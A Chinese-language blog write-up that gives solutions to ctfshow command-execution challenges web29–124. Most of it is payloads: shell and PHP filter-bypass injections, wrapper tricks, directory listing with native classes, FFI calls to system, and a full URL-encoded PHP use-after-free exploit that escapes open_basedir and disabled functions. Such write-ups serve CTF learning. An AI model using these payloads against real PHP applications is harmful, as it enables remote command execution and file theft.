ctfshow命令执行

本文最后更新于 2024年9月11日 晚上

前言:用了几天晚上时间把题目都过了一下,还是有值得学习的地方,炒冷饭也不失一种乐趣。web119-122的题目由于直接上传原文会对hexo的渲染模板可能造成模板注入,所以迫不得已上传的png

web29

0x01

1
?c=system("tac f*");

0x02

1
?c=echo `tac f*`;

web30

1
?c=echo `tac f*`;

web31

1
?c=echo`tac%09f*`;

web32

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

0x01

1
?c=data://text/plain,<?php system("tac fla*.php")?>

0x02

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

1
?c=data://text/plain,<?php system("tac fla*.php")?>

提前闭合

web40

0x01

1
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

0x02

1
?c=eval(end(current(get_defined_vars())));&b=system('tac flag.php');

web41

利用羽师傅的脚本直接跑出答案

web42

%0a截断后面无用的内容

1
?c=tac flag.php%0a

web43

1
?c=tac flag.php%0a

web44

1
?c=tac fla?.php%0a

web45

1
?c=tac%09fla?.php%0a

web46

0x01

1
?c=nl<fl''ag.php||

0x02

1
?c=tac<fl''ag.php||

web47

0x01

1
?c=tac<fl''ag.php||

0x02

1
?c=nl<fl''ag.php||

web48

0x01

1
?c=tac<fl''ag.php||

0x02

1
?c=nl<fl''ag.php||

web49

0x01

1
?c=tac<fl''ag.php||

0x02

1
?c=nl<fl''ag.php||

web50

0x01

1
?c=tac<fl''ag.php||

0x02

1
?c=nl<fl''ag.php||

web51

1
?c=nl<fl''ag.php||

web52

1
2
?c=ls$IFS/||
?c=nl$IFS/fla?||

web53

1
?c=ca''t${IFS}fla?.php

web54

0x01

复制粘贴型

1
?c=mv${IFS}fla?.php${IFS}a.txt

0x02

全局查找,-r递归文件

1
?c=grep${IFS}-r${IFS}'fla'${IFS}.

web55

0x01

八进制转化

1
?c=$'\154\163' # ls
1
?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160' # tac flag.php

0x02

1
2
3
4
5
6
7
8
9
由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

web56

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

这题由于基本都禁了,需要用到文件上传到临时文件,利用glob通配符进行无字母数字webshell之提高篇,已知A-Z在ASCII里面是被@和[包括的,那么可以使用[@-[]来表示,虽然是随机的,那么可以用?c=.%20/???/????????[@-[] 进行匹配文件,这里需要上传一个文件,利用简单的html进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://e76b0b60-1e1a-4cc2-b39e-e3548d1a6fcc.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

利用一个简单的文本

1
2
#!/bin/sh
cat flag.php

得到flag

web57

利用linux语言的特性构造36

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

0x01

1
c=readfile('flag.php');

0x02

1
c=show_source('flag.php');

0x03

1
c=highlight_file('flag.php');

0x04

1
c=copy("flag.php","flag.txt");

0x05

1
c=include('php://filter/convert.base64-encode/resource=flag.php');

0x06

1
c=echo file_get_contents("flag.php");

0x07

1
c=print_r(file("flag.php"));     

web59

基本同上可以找到

web60

检测一下直接上,题目一样的,过滤了几个函数

1
2
3
4
c=show_source('flag.php');
c=highlight_file('flag.php');
c=copy("flag.php","flag.txt");
c=include('php://filter/convert.base64-encode/resource=flag.php');

web61

1
2
3
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include('php://filter/convert.base64-encode/resource=flag.php');

web62

1
2
3
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include('php://filter/convert.base64-encode/resource=flag.php');

web63

1
2
3
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include('php://filter/convert.base64-encode/resource=flag.php');

web64

1
2
3
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include('php://filter/convert.base64-encode/resource=flag.php');

web65

1
2
3
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include('php://filter/convert.base64-encode/resource=flag.php');

web66

0x01

1
2
c=print_r(scandir("/"))
c=highlight_file('/flag.txt');

0x02

1
2
3
4
5
6
c=$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');};


c=%24dir%3Dnew%20DirectoryIterator(%22%2F%22)%3B%0Aforeach(%24dir%20as%20%24f)%7B%0A%20%20%20%20echo(%24f.'%3Cbr%3E')%3B%7D%3B;
1
2
3
4
5
$exp = new SplFileObject('/flag.txt');
echo $exp;


c=%24exp%20%3D%20new%20SplFileObject('%2Fflag.txt')%3B%0Aecho%20%24exp%3B;

一个奇巧的思路,利用php的原生类进行的读取都需要进行url编码

web67

0x01

1
2
3
4
5
6
c=$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');};


c=%24dir%3Dnew%20DirectoryIterator(%22%2F%22)%3B%0Aforeach(%24dir%20as%20%24f)%7B%0A%20%20%20%20echo(%24f.'%3Cbr%3E')%3B%7D%3B;
1
2
3
4
5
$exp = new SplFileObject('/flag.txt');
echo $exp;


c=%24exp%20%3D%20new%20SplFileObject('%2Fflag.txt')%3B%0Aecho%20%24exp%3B;

0x02

1
2
c=print_r(scandir("/"))
c=highlight_file('/flag.txt');

web68

😋发现我这种解法好像官p还没有也是直接上原生

先进行c=var_dump(scandir('/'));或者用上面的原生类

0x01

1
c=%24exp%20%3D%20new%20SplFileObject('%2Fflag.txt')%3B%0Aecho%20%24exp%3B;

0x02

1
c=include('/flag.txt');

0x03

1
c=readgzfile("/flag.txt");

readgzfile函数在 PHP 中用于读取一个 GZIP 压缩的文件并直接输出其内容。

web69

新的思路扫描目录

c=echo%20implode(",",(scandir('/')));

这段代码利用了 scandir('/') 函数来列出根目录的内容,然后用 implode(",", ...) 将数组连接为一个字符串,再通过 echo 输出。

0x01

1
c=include('/flag.txt');

0x02

1
c=readgzfile("/flag.txt");

readgzfile函数在 PHP 中用于读取一个 GZIP 压缩的文件并直接输出其内容。

原生类用不来了,可能过长了

web70

同69基本没变化

web71

看一下源码关键内容

1
2
3
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);

简单的来说就是缓冲区清理,防止直接暴露信息

0x01

1
c=include('/flag.txt');exit();

exit进行截断

0x02

1
c=readgzfile("/flag.txt");exit();

当然也可以进行提前送出

0x03

1
c=readgzfile("/flag.txt");ob_flush();

web72

看源码也没什么思路,去看了下官p,思路还是要发散一下,这里也是利用了原生类进行读取找到flag所在的文件在哪里

1
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

讲一下大致的原理,首先利用?>提前截取,然后利用原生类进行遍历读取文件,glob:///* 是一个流包装器(Stream Wrapper),它使用 glob 函数的模式来匹配根目录下的所有文件和文件夹。然后遍历读取,exit也是利用了提前截断。找到了flag在flag0.txt

利用了PHP中的一个Use-After-Free (UAF)漏洞来绕过open_basedir限制,从而执行任意命令(如读取/flag0.txt)。UAF漏洞利用了PHP的内存管理特性,尤其是对象在内存中的布局和其析构方式来操纵内存,从而获得代码执行能力,虽然看不懂但是用还是可以的

1
c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E

经过url编码之后的payload

web73

1
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

先查一下在哪,得到flagc.txt

1
2
3
c=readgzfile("/flagc.txt");ob_flush();
或者
c=include("/flagc.txt");ob_flush();

web74

流程和上面的基本一致,flag在flagx.txt里面

web75

可以继续用上面的原生类找到对应的文件

1
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

找到文件flag36.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try {
# 创建 PDO 实例, 连接 MySQL 数据库
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}

$dbh = null;
}

catch (PDOException $e) {
echo $e->getMessage();exit(0);
}

exit(0);

通过 PDO(PHP Data Objects)连接到 MySQL 数据库,并尝试读取服务器上的文件内容

load_file("/flag36.txt") 是 MySQL 的函数,用于读取服务器上指定路径的文件内容。函数返回文件内容的字符串。

foreach 循环遍历查询结果。因为 load_file 函数返回的是一个字符串,$row[0] 就是这个字符串。echo($row[0])."|"; 将文件内容打印出来,并在内容后面加上 | 符号。

之后关闭数据库连接,捕捉异常信息。

上传payload的时候记得去掉注释

web76

也是继续用原生类进行目录扫描得到flag在flag36d.txt里面

1
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

然后还是用上面的sql执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo($row[0])."|";
}

$dbh = null;
}

catch (PDOException $e) {
echo $e->getMessage();exit(0);
}

exit(0);

web77

还是可以继续使用原生类进行目录的扫描,可以得到flag在flag36x.txt里面

1
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

但是之前的写法是不能继续用的报 could not find driver的错误,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性,

先上payload跟着学习一下内容吧

1
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

讲一下简单的原理

这段 PHP 代码利用了 Foreign Function Interface (FFI) 扩展来调用 C 语言的 system 函数,从而执行系统命令。注意需要php版本在7.4及以上才有

1
2
3
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

FFI::cdef函数的作用是定义一个c函数的接口,system 是一个接受一个 const char * 类型参数的函数(也就是一个字符串),并返回一个整数。接下来是执行/readflag讲它的输出重定向到1.txt里面,然后最后一步代码进行执行

web118

1
2
3
看源码有个code传入,尝试一下有evil,fuzz看看内容发现`A-Z`~,`@ # $ _ {} : ; ? . `这些可以正常的输入,浅浅的学习一下吧

`echo $PATH` 是一个常见的 Linux 或 Unix 系统命令,用来显示当前用户的 `PATH` 环境变量的值。`PATH` 环境变量是一个包含目录路径的列表,操作系统会按照这些路径的顺序查找可执行文件。如下
1
2
root@iZ0jl9s6tb2yuz8o6oleiyZ:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
1
2
输入echo ${PATH:~0}会回显n其实因为$PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l,那么可以执行
code=${PATH:~A}${PWD:~A} ????.???

就相当于执行了nl flag.php然后看源码就行了

web119

119

web120

120

web121

121

web122

122

web124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这题认真学习一下,题目是ciscn-2019的love math 怪不得感觉眼熟

1
2
?c=20-1
回显是19

0x01

已知的是php可以进行嵌套比如说

1
2
$orange='system';$orange('cat /flag');
实际就是执行system('cat /flag');

所以可以尝试进行

1
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

a和b不能用可以用函数代替

1
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

有个老生常谈的函数hex2bin将十六进制进行转化为ASCII,_GET的十六进制是5f474554,但是也没有hex2bin,也不能填这些但是里面有个函数是base_convert,可以用这个函数构造hex2bin,36进制包含0-9和A-Z,转化为十进制就是37907361743

1
